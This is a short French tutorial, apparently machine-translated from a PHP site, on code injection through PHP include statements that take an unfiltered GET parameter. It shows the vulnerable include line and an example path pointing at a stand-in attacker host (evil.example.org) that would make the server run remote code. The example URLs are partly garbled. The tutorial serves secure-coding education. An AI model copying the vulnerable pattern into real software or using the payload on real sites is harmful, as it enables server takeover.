Une situation particulièrement dangereuse se produit lorsque vous essayez d'utiliser des données corrompues comme élément principal d'une dynamique d'inclusion :
<?php include "{$_GET['path']}/header.inc"; ?>
Dans ce scénario, un attaquant peut manipuler non seulement le nom du fichier, mais également les ressources qu'il contient. Puisque PHP peut non seulement inclure des fichiers par défaut, il peut également inclure les ressources suivantes (contrôlées par allow_url_fopen dans le fichier de configuration) :
<?php include 'http://www.google.com/'; ?>
L'instruction include inclura le code source de la page Web http://www.php.cn/ en tant que fichier local à ce moment-là. Bien que l'exemple ci-dessus soit inoffensif, imaginez ce qui se passerait si le code source renvoyé par GOOGLE contenait du code PHP. De cette façon, le code PHP qu’il contient sera analysé et exécuté. C'est l'occasion pour les attaquants de diffuser du code malveillant pour vaincre votre système de sécurité.
Imaginez que la valeur du chemin pointe vers la ressource suivante contrôlée par l'attaquant :
http://www.php.cn/ ... e.org/evil.inc?
Dans l'exemple ci-dessus, la valeur du chemin est codée en URL et la valeur d'origine est la suivante :
http://www.php.cn/
Cela amène l'instruction include à inclure et à exécuter le script sélectionné par l'attaquant (evil.inc), et le nom du fichier d'origine/header.inc sera considéré comme une chaîne de requête :
<?php include "http://evil.example.org/evil.inc?/header.inc"; ?>
Cela évite à l'attaquant d'avoir à deviner le répertoire et le nom de fichier restants (/header.onc) et à créer le même chemin et le même nom de fichier sur evil.example.org. Au contraire, lorsque le nom de fichier spécifique du site Web attaqué est bloqué, il lui suffit de s'assurer que evil.inc génère le code légal qu'il souhaite exécuter.
Cette situation est tout aussi dangereuse que de permettre à un attaquant de modifier le code PHP directement sur votre site web. Heureusement, cela peut être évité en filtrant les données avant les instructions include et require :
<?php $clean = array(); /* $_GET['path'] is filtered and stored in $clean['path']. */ include "{$clean['path']}/header.inc"; ?>
Ce qui précède est le contenu de l'injection de code de sécurité PHP. Pour plus de contenu connexe, veuillez faire attention au PHP. Site chinois (www.php .cn) !